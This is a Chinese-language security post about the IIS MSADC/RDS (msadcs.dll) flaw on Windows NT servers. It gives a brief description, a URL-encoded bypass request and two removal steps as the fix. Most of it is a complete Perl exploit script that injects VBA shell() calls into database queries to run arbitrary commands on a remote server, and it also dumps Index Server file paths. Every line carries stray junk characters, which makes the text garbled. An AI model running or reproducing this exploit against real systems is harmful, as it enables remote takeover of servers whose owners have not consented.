IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
8x{Hg9 hY=I5[* 涉及程序：
Dbz]{_Y; Microsoft NT server
QO,+ps< '9q6 aM/& 描述：
L|\Diap 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
AP w6 N`1r;%5 详细：
F1c &0*_A 如果你没有时间读详细内容的话，就删除:
.@k *p >K c:\Program Files\Common Files\System\Msadc\msadcs.dll
ik\S88| 有关的安全问题就没有了。
,Rz }=j Kz[BB@[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Ef,Cd[]b o0`q#>7!_b 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&yLc1#H 关于利用ODBC远程漏洞的描述，请参看:
g^j7@dum VQ< 5%+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d~`-AC+ n(R_#,Hs 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
98UlNP http://www.microsoft.com/security/bulletins/MS99-025faq.asp `%y5\!X F$yeF^\g 这里不再论述。
* nCx[ eP= j. $ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
5-w: c> $?f]ZyZr. /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!nzGH*td 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
61:9(*4~!F hdj%|~Fj , `
o+ ? #将下面这段保存为txt文件，然后: "perl -x 文件名"
HNMBXXf, B 2AK}D%jfc #!perl
C #aFc01B #
6~@5X}^<0 # MSADC/RDS 'usage' (aka exploit) script
_FsB6
G]mc #
0;cuX@A/a? # by rain.forest.puppy
]M\q0>HoJ #
1b[NgOXY= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
TQ-K kH}y # beta test and find errors!
jw4TLc7p vgAFuQi( use Socket; use Getopt::Std;
:8]6#c6`74 getopts("e:vd:h:XR", \%args);
f{_)rsqf ~U%j{8uH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|j#
^@R ]_ #SAhOR) if (!defined $args{h} && !defined $args{R}) {
6t$N 7 8U print qq~
8A4TAT4, Usage: msadc.pl -h <host> { -d <delay> -X -v }
{(0Id ! -h <host> = host you want to scan (ip or domain)
)_Iz>) -d <seconds> = delay between calls, default 1 second
9b%j.Q-W -X = dump Index Server path table, if available
mu>] 9Z W -v = verbose
JV%nH! Fs -e = external dictionary file for step 5
JMePI%#8 -XW8 LaQB Or a -R will resume a command session
T 9MzUV& ' &N20w ~; exit;}
nl9 kYE
[ l7~Pa0qD $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
r\RFDj if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
rXDJ:NP if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
|Eu*P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#G~wE*VR$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
3P`WPph if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
nF| Oy0 9C=~1>S
if (!defined $args{R}){ $ret = &has_msadc;
e# <4/FR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D}Au6 V8T#NJ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
O$U}d-Xnx . "cmd /c ";
1VGpq-4*j $in=<STDIN>; chomp $in;
T +(M8 qb $command="cmd /c " . $in ;
yWmrdvL h,~tXj if (defined $args{R}) {&load; exit;}
6+ ?w np- ?61L|vr print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
bl`D+/V &try_btcustmr;
l-cW;b~ 1]Lhk?4t print "\nStep 2: Trying to make our own DSN...";
^8Z@^M&O" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}Zt .*% n_1jHJo print "\nStep 3: Trying known DSNs...";
HS(U4 &known_dsn;
]d^ k4 d @]E]W#xAn print "\nStep 4: Trying known .mdbs...";
S7Znz @ &known_mdb;
^glX1 ) 8<Xq=*J+ if (defined $args{e}){
B_!wutV@ print "\nStep 5: Trying dictionary of DSN names...";
% uj[ ` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
\FVNXU MU
}\>+H print "Sorry Charley...maybe next time?\n";
z+ uL "PG[ exit;
qg|Ox*_od" vUqe.?5 ##############################################################################
We\KDU\n |^ ?`Q.|c$ sub sendraw { # ripped and modded from whisker
J0Jr
BXCh sleep($delay); # it's a DoS on the server! At least on mine...
R08&cd#$ my ($pstr)=@_;
>B`Cch/ 'U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A 0 S8Dh$ die("Socket problems\n");
RXU A!=e if(connect(S,pack "SnA4x8",2,80,$target)){
hH#lTye select(S); $|=1;
ccRlql( print $pstr; my @in=<S>;
J`4Z<b53 select(STDOUT); close(S);
s%5Uj } return @in;
l +|1G } else { die("Can't connect...\n"); }}
KuIkul9^% h>~jQ&\M ##############################################################################
y:~eU oN_ S}o
sub make_header { # make the HTTP request
?Y%}(3y my $msadc=<<EOT
I+*osk POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>ze>Xr'm5= User-Agent: ACTIVEDATA
j[_t6Z Host: $ip
yVT&rQ"{ Content-Length: $clen
t#a.}Jl Connection: Keep-Alive
p 7
, f6kG G}182"#4 ADCClientVersion:01.06
#c6ui0E%;t Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
B. V?s,U iz Xbp02 --!ADM!ROX!YOUR!WORLD!
k&WUv 0 Content-Type: application/x-varg
@P*ylB}?Q Content-Length: $reqlen
Lc58l V= 8w03{H
0 EOT
z`c%?_E K ; $msadc=~s/\n/\r\n/g;
yb[{aL^4% return $msadc;}
R
4 DM_ u )C'G2RV ##############################################################################
j kSc & ~C%2t {" sub make_req { # make the RDS request
P]|J?$1K my ($switch, $p1, $p2)=@_;
2b; rr my $req=""; my $t1, $t2, $query, $dsn;
KDux$V4 <]Ij(+J; if ($switch==1){ # this is the btcustmr.mdb query
7xX;MB & $query="Select * from Customers where City=" . make_shell();
=6.8bZT\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
s]$HkSH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
z8
hTZU f 1sy9nQs elsif ($switch==2){ # this is general make table query
Ask' ! $query="create table AZZ (B int, C varchar(10))";
H+S~ bzz $dsn="$p1";}
;n% ]* v RY >)eGJ elsif ($switch==3){ # this is general exploit table query
^</65+OT+ $query="select * from AZZ where C=" . make_shell();
_<Hb(z $dsn="$p1";}
^L>MZA
? yw;ghP; elsif ($switch==4){ # attempt to hork file info from index server
-9=M9}eDF $query="select path from scope()";
Dj-\))L $dsn="Provider=MSIDXS;";}
;cM8EU^.
FY 1},sq elsif ($switch==5){ # bad query
<'PR;g^# $query="select";
@rnp- +kq $dsn="$p1";}
C><<0VhU u=p ;A1oy $t1= make_unicode($query);
ET >S $t2= make_unicode($dsn);
FRl3\ZDqrb $req = "\x02\x00\x03\x00";
ga4/, $req.= "\x08\x00" . pack ("S1", length($t1));
#6Efev $req.= "\x00\x00" . $t1 ;
!I w{Y' $req.= "\x08\x00" . pack ("S1", length($t2));
M/::`yJQu $req.= "\x00\x00" . $t2 ;
6vD]@AF $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
s D LVYD return $req;}
$6[]c) ( u-$AFSt ##############################################################################
SQ[}]Tm;n hB4.tMgZ sub make_shell { # this makes the shell() statement
78"W ~` 8 return "'|shell(\"$command\")|'";}
qn . 3h>Ji1vV ##############################################################################
+(
d2hSIF wKN9HT sub make_unicode { # quick little function to convert to unicode
~kga+H my ($in)=@_; my $out;
<f%9w] for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
h =aHZ6v return $out;}
VI4d/2e RL%{VE ##############################################################################
gV c[`( @h o T'XcMn sub rdo_success { # checks for RDO return success (this is kludge)
FWj~b n my (@in) = @_; my $base=content_start(@in);
pfG:P rZ if($in[$base]=~/multipart\/mixed/){
{XAKf_Cg return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U8d wb return 0;}
B sAglem 7hc(]8eP ##############################################################################
z)0F k sdY6_ HtE sub make_dsn { # this makes a DSN for us
7D,+1>5^Ne my @drives=("c","d","e","f");
0t~--/lA print "\nMaking DSN: ";
Mo/xEB/O foreach $drive (@drives) {
!(]|!F [m print "$drive: ";
_MR2,m C my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
=F`h2 A;a "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
CNwhH)* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
r&qD !l5y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
zAH+{4lC+ return 0 if $2 eq "404"; # not found/doesn't exist
;RrfE8mGj if($2 eq "200") {
-vMP{, foreach $line (@results) {
P
_ SJK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
lIf Our } return 0;}
k;)L-ge9 i J\#su ##############################################################################
$6_J` 7 Ai/#C$MY$ sub verify_exists {
c/s'&gG33z my ($page)=@_;
dO=< 3W my @results=sendraw("GET $page HTTP/1.0\n\n");
sU8D;ML7 return $results[0];}
h'bxgIl'` O&)Y3 O1 ##############################################################################
5W'T7asOh d+b TRnL sub try_btcustmr {
{\% x{ my @drives=("c","d","e","f");
>Nov9<p my @dirs=("winnt","winnt35","winnt351","win","windows");
)a.U|[:y[+ !,\]> c foreach $dir (@dirs) {
w<'mV^S print "$dir -> "; # fun status so you can see progress
l-mUc1.S foreach $drive (@drives) {
6PTD%Rf\ print "$drive: "; # ditto
ie_wJ= s $reqlen=length( make_req(1,$drive,$dir) ) - 28;
v/kY yz $reqlenlen=length( "$reqlen" );
";jhj:Xj $clen= 206 + $reqlenlen + $reqlen;
Fv3fad@x +pE-Yn`YS my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)'qZ6 % if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
SDot0`s> else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
AttDD{Ta S]<Hx_[} ##############################################################################
?&Lb6(}e mtHw! * sub odbc_error {
rc"Z$qU? my (@in)=@_; my $base;
O *30| [ my $base = content_start(@in);
5T,`j=\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
. [C ~a $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
gHTo|2 Q{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zW\&q!`IRP $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3.8d" return $in[$base+4].$in[$base+5].$in[$base+6];}
9XS'5AXN print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+4)Kc9S# print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
v mL0H)q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{|
Tl3 dC)@v]#h ##############################################################################
65g\WB+/ HogT#BMs sub verbose {
=n9|r.\&uJ my ($in)=@_;
aj1Zi3h return if !$verbose;
UE*M\r< print STDOUT "\n$in\n";}
G !wFG-Y} ZXp=Q H+f ##############################################################################
|o6B:NH,rg u3kZOsG sub save {
0 *x my ($p1, $p2, $p3, $p4)=@_;
G /=tC8eX open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]M#_o] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
I oj F/ close OUT;}
G 9d@vu $o5<#g"/T ##############################################################################
I)T]}et -FdhV%5] sub load {
v,
9M AZ, my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%i$]S`A} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/dj r_T @p=<IN>; close(IN);
~:v" TuuK $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
r,a V11{ $target= inet_aton($ip) || die("inet_aton problems");
UhXZ^ k3 print "Resuming to $ip ...";
m&cVda/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
LL4yafh if($p[1]==1) {
L^!E4[ ^4 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@.@O# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{L4ta~2/T my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
XhhV 7J_F if (rdo_success(@results)){print "Success!\n";}
c/%i,N\5 else { print "failed\n"; verbose(odbc_error(@results));}}
9Eu.Y elsif ($p[1]==3){
bC&*U|de if(run_query("$p[3]")){
?%(: print "Success!\n";} else { print "failed\n"; }}
#+>8gq^5 elsif ($p[1]==4){
1U^;fqvja if(run_query($drvst . "$p[3]")){
B=8],_ print "Success!\n"; } else { print "failed\n"; }}
/-4rcC exit;}
^Q0%_V, Xz4T_- X8d ##############################################################################
lpi^<LQ@l w7+3?'L sub create_table {
AU0pJB' my ($in)=@_;
m W- 4 $reqlen=length( make_req(2,$in,"") ) - 28;
bVO{,P2 o $reqlenlen=length( "$reqlen" );
pbJC A& $clen= 206 + $reqlenlen + $reqlen;
\W:~;GMeD my @results=sendraw(make_header() . make_req(2,$in,""));
=n7QL QU return 1 if rdo_success(@results);
Hwiw:lPq`E my $temp= odbc_error(@results); verbose($temp);
^/b3_aM5d return 1 if $temp=~/Table 'AZZ' already exists/;
-!4Mmp"2@u return 0;}
KsVN<eR{ dX^ ^
@7 ##############################################################################
KFZ2%:6> dPvRbwH< sub known_dsn {
#$-{hg{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^E-BB 6D my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0;6eSmF "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
e,V @t% "banner", "banners", "ads", "ADCDemo", "ADCTest");
dA 03 ,s 8U86-'Pq foreach $dSn (@dsns) {
VO
u/9]a print ".";
L"[2[p next if (!is_access("DSN=$dSn"));
yVZLZLm if(create_table("DSN=$dSn")){
z.Y`"B'j` print "$dSn successful\n";
I.dS-)Y if(run_query("DSN=$dSn")){
Um Ec")3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\k
9Ei mT} print "Something's borked. Use verbose next time\n";}}} print "\n";}
v=8sj{g3,3 >8;EeR vI ##############################################################################
t nvCtuaR fmg Xh)= sub is_access {
2UbTKN my ($in)=@_;
RwyX,| $reqlen=length( make_req(5,$in,"") ) - 28;
$Sls9H+. $reqlenlen=length( "$reqlen" );
I EmjWw4 $clen= 206 + $reqlenlen + $reqlen;
omu )s
'8 my @results=sendraw(make_header() . make_req(5,$in,""));
}z,f8Yz my $temp= odbc_error(@results);
+Hd'*'c verbose($temp); return 1 if ($temp=~/Microsoft Access/);
5.M82rR; ~ return 0;}
}j`#s -4Hf5 ! ##############################################################################
Fswr @d u &RB{0Qhx sub run_query {
3Z_\.Z1R@ my ($in)=@_;
:q34KP $reqlen=length( make_req(3,$in,"") ) - 28;
Gr&YzbSX $reqlenlen=length( "$reqlen" );
_=Y HO. $clen= 206 + $reqlenlen + $reqlen;
&"6%D|Z0 my @results=sendraw(make_header() . make_req(3,$in,""));
5c
($~EFr return 1 if rdo_success(@results);
wNm 1H[{ my $temp= odbc_error(@results); verbose($temp);
AFdBf6/" i return 0;}
3]rd!Gp=* ;%^T*?t ##############################################################################
fx=H K t ab8F\%y-8 sub known_mdb {
5H!6m_,w my @drives=("c","d","e","f","g");
\Z8:^ct.P my @dirs=("winnt","winnt35","winnt351","win","windows");
_1ax6MwX my $dir, $drive, $mdb;
C ,| & my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
f:;-ZkIU ? %YG?7PBB # this is sparse, because I don't know of many
8hGyh# my @sysmdbs=( "\\catroot\\icatalog.mdb",
:jiEn
y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
SmXoNiM"y "\\system32\\certmdb.mdb",
V U3RFl "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ZFZ'&"+ Xa z "! my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
=*UK!y ?n "\\cfusion\\cfapps\\forums\\forums_.mdb",
Mh%{cLM "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
9*" "\\cfusion\\cfapps\\security\\realm_.mdb",
Tmg C {_ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ing'' _ "\\cfusion\\database\\cfexamples.mdb",
Ww<Y]H$xZ< "\\cfusion\\database\\cfsnippets.mdb",
YidcV lOsO "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
@?B+|*cm "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
a;o0#I#Si "\\cfusion\\brighttiger\\database\\cleam.mdb",
\E c<ch[)c "\\cfusion\\database\\smpolicy.mdb",
VDxm|7 "\\cfusion\\database\cypress.mdb",
196a YL E "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
PT>b%7Of "\\website\\cgi-win\\dbsample.mdb",
1RAkqw<E "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
H/a gt "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
\8CCa(H ); #these are just
E '6>3n foreach $drive (@drives) {
1AJ6NBC&c foreach $dir (@dirs){
Dk
`&tr foreach $mdb (@sysmdbs) {
TQR5V\{&% print ".";
rm-d ),Zt if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
rPk|2l,E,3 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
! ._q8q\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
y ##h(y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Xi="gxp$% } else { print "Something's borked. Use verbose next time\n"; }}}}}
"uH>S+%|b Tm" H9 foreach $drive (@drives) {
)zL@h foreach $mdb (@mdbs) {
'| H+5# print ".";
&2ED<%hH` if(create_table($drv . $drive . $dir . $mdb)){
t<rIg1 print "\n" . $drive . $dir . $mdb . " successful\n";
yY VR]H H if(run_query($drv . $drive . $dir . $mdb)){
G )vNMl print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7}iv+ rQ } else { print "Something's borked. Use verbose next time\n"; }}}}
gWj-@o\ }
D0 7M!U 7|}4UXr7y ##############################################################################
/,G `V %a/3*vz/I% sub hork_idx {
ZSf &M print "\nAttempting to dump Index Server tables...\n";
Nh \vWAz9 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
FJvY`zqB $reqlen=length( make_req(4,"","") ) - 28;
< rzP $reqlenlen=length( "$reqlen" );
Q}#Je.; $clen= 206 + $reqlenlen + $reqlen;
sVyV|!K my @results=sendraw2(make_header() . make_req(4,"",""));
W9SU1{*9 if (rdo_success(@results)){
e:O,$R#g my $max=@results; my $c; my %d;
}4 0T'y for($c=19; $c<$max; $c++){
Dg& 6@c| $results[$c]=~s/\x00//g;
2yA)SGri $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
#eW
T-m $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
#/>TuJc $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ImN'o4vo $d{"$1$2"}="";}
KF(H
>gs foreach $c (keys %d){ print "$c\n"; }
J&8KIOz14Z } else {print "Index server doesn't seem to be installed.\n"; }}
7d;|?R-8D kcfT|@:MK" ##############################################################################
8'PZA,CW =|oi 0 sub dsn_dict {
Gxw1P@<F: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
n&[CTOV while(<IN>){
4l 67B]o $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
}n^Rcz6HeO next if (!is_access("DSN=$dSn"));
d{YvdN9d if(create_table("DSN=$dSn")){
>jt2vU@t. print "$dSn successful\n";
NY7yk3 if(run_query("DSN=$dSn")){
NzgG7 7 > print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C hF~ print "Something's borked. Use verbose next time\n";}}}
G*9(O: print "\n"; close(IN);}
T.da!!'B
f |nNcV~%~ ##############################################################################
{s8 c@-' !Gmnck&+ sub sendraw2 { # ripped and modded from whisker
&5 "! 0 sleep($delay); # it's a DoS on the server! At least on mine...
g* YD gY my ($pstr)=@_;
OjGI
! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vhBW1/w&F die("Socket problems\n");
u`'" =Y_E if(connect(S,pack "SnA4x8",2,80,$target)){
LdZVXp^ print "Connected. Getting data";
jrp>Y: open(OUT,">raw.out"); my @in;
X.b8qbnq[ select(S); $|=1; print $pstr;
Bve|+c6W while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
bv 4umL / close(OUT); select(STDOUT); close(S); return @in;
c {= ; lT } else { die("Can't connect...\n"); }}
Rzd` MIHDp 7${<u 0((! ##############################################################################
2 5 \S> }5+^ sub content_start { # this will take in the server headers
`\( ?^]WLa my (@in)=@_; my $c;
@}
Ig*@ for ($c=1;$c<500;$c++) {
BgXZr,? if($in[$c] =~/^\x0d\x0a/){
LhL |ETrJ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Y
D<3 #Dr] else { return $c+1; }}}
|.)LZP, return -1;} # it should never get here actually
^5X?WA,Z99 6 - 3?&+ ##############################################################################
I0mp [6 it} h8:^< sub funky {
4kL6aSqT my (@in)=@_; my $error=odbc_error(@in);
v.]{b8RR if($error=~/ADO could not find the specified provider/){
AMyg>n! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
%r|sb=(yT exit;}
`PARZ| if($error=~/A Handler is required/){
Pxl , " print "\nServer has custom handler filters (they most likely are patched)\n";
iYr)Ao5X exit;}
,SIS3A>s if($error=~/specified Handler has denied Access/){
cM%?Ot,mK" print "\nServer has custom handler filters (they most likely are patched)\n";
* tv & = exit;}}
4
{M A}lxJ5h0 ##############################################################################
Y#@D%
a 8 1WtE ]
D sub has_msadc {
obvE m[x!Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
X( tx8~z my $base=content_start(@results);
6_%Cd`4Z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
y7+@
v' return 0;}
$q\"d?n )5@P|{FF ########################
^t3>Z|DiB^ .'`aX
7{\ XHA| v^ 解决方案：
+JI,6)Ry 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
J !om"h 2、移除web 目录: /msadc
